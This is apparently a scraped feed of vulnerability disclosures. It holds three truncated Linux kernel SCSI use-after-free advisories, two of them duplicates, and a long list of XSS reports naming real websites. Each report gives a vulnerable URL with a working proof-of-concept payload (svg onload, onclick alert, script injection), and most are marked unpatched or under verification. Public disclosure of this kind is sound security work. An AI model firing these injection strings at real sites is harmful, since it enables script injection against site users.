kernel: Use after free in SCSI generic device interface (CVE-2016-9576 regression)

It was found that the fix for CVE-2016-9576 was incomplete: the Linux kernel's sg implementation did not properly restrict write operations in situations where the KERNELDS option is set. A local attacker to read or write to arbitrary kernel memory locations or cause a denial of service...

kernel: Use after free in SCSI generic device interface

It was found that the blkrqmapuseriov function in the Linux kernel's block device implementation did not properly restrict the type of iterator, which could allow a local attacker to read or write to arbitrary kernel memory locations or cause a denial of service use-after-free by leveraging write...

kernel: Use after free in SCSI generic device interface

It was found that the blkrqmapuseriov function in the Linux kernel's block device implementation did not properly restrict the type of iterator, which could allow a local attacker to read or write to arbitrary kernel memory locations or cause a denial of service use-after-free by leveraging write...

jobs.srcompetences.ch XSS vulnerability

Vulnerable URL: http://jobs.srcompetences.ch/jobs.php?lan=fr=10=xss;%3C/script%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3Ecode=09e46335a8ac2310id=1=itIT=1&color1;=333333&color2;=333333=000000type=========name=distance=0distance=30=1&arca24;client=cigierre=0distance=30=1&arca24;client=cigierre Detail...

orientajob.pl XSS vulnerability

Vulnerable URL: https://www.orientajob.pl/jobs.php?lan=fr=10=xss;%3C/script%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3Ecode=09e46335a8ac2310id=1=itIT=1&color1;=333333&color2;=333333=000000type=========name=distance=0distance=30=1&arca24;client=cigierre Details: Description| Value ---|--- Patched:|...

ieelrincondelmar.sanonofre-sucre.gov.co XSS vulnerability

Vulnerable URL: http://ieelrincondelmar.sanonofre-sucre.gov.co/es/buscar?alsvbuscar=%22%3E%3Csvg%2Fonload%3Dalert%27OPENBUGBOUNTY%27%3E=Buscar Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

bwsg.at XSS vulnerability

Vulnerable URL: http://www.bwsg.at/de/suche Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 799082 VIP website status:| No Check bwsg.at SSL connection:| Grade...

lsoft.net XSS vulnerability

Vulnerable URL: http://www.lsoft.net/killdiskscreen.aspx!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

intercontinentalmarkhopkins.com XSS vulnerability

Vulnerable URL: http://www.intercontinentalmarkhopkins.com/photo-gallery.aspx!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:|...

ctronicssecuritycameras.com XSS vulnerability

Vulnerable URL: http://www.ctronicssecuritycameras.com/shop/wifi-720p-ip-camera/ctronics-dome-wifi-ip-camera-hd-720p-20m-ir-3-6mm-lens-onvif-2-0-16-leds-night-vision-indooroutdoor-sd-card-slot-ctipc-224c720pws/!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description|...

abortiondocs.org XSS vulnerability

Vulnerable URL: http://abortiondocs.org/clinic/surgical/316/!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

zavio.com XSS vulnerability

Vulnerable URL: http://www.zavio.com/videos.php!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

kashipara.com XSS vulnerability

Vulnerable URL: https://www.kashipara.com/search.php?search=1%22%27--!%3E%3C/Title/%3C/Style/%3C/Script/%3C/Textarea/%3C/Noscript/%3C/Pre/%3C/Xmp%3E%3CBody/OnPageShow=confirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.20...

atmospheresdesigns.com XSS vulnerability

Vulnerable URL: http://www.atmospheresdesigns.com/servicesmakingithappen.html!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:|...

imagesbymaz.com XSS vulnerability

Vulnerable URL: http://imagesbymaz.com/!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 123944...

fbichefschool.co.za XSS vulnerability

Vulnerable URL: http://www.fbichefschool.co.za/full-time-courses/!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

eaglejet.net XSS vulnerability

Vulnerable URL: http://www.eaglejet.net/Pricing.asp!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

rheem.com.au XSS vulnerability

Vulnerable URL: http://www.rheem.com.au/!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 59040...

tw.msi.com XSS vulnerability

Vulnerable URL: https://tw.msi.com/search/%3C%2ftitle%3E%3Cscript%3Ealert%28%2fOPENBUGBOUNTY%2f%29%3C%2fscript%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

moheet.com XSS vulnerability

Vulnerable URL: http://www.moheet.com/search/key=%22%3E%3Csvg%2Fonload%3Dalert%28%2FXSSPOSED%2F%29.WX9tFWfLfI1 Details: Description| Value ---|--- Patched:| Yes, at 25.10.2017 Latest check for patch:| 25.10.2017 05:10 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...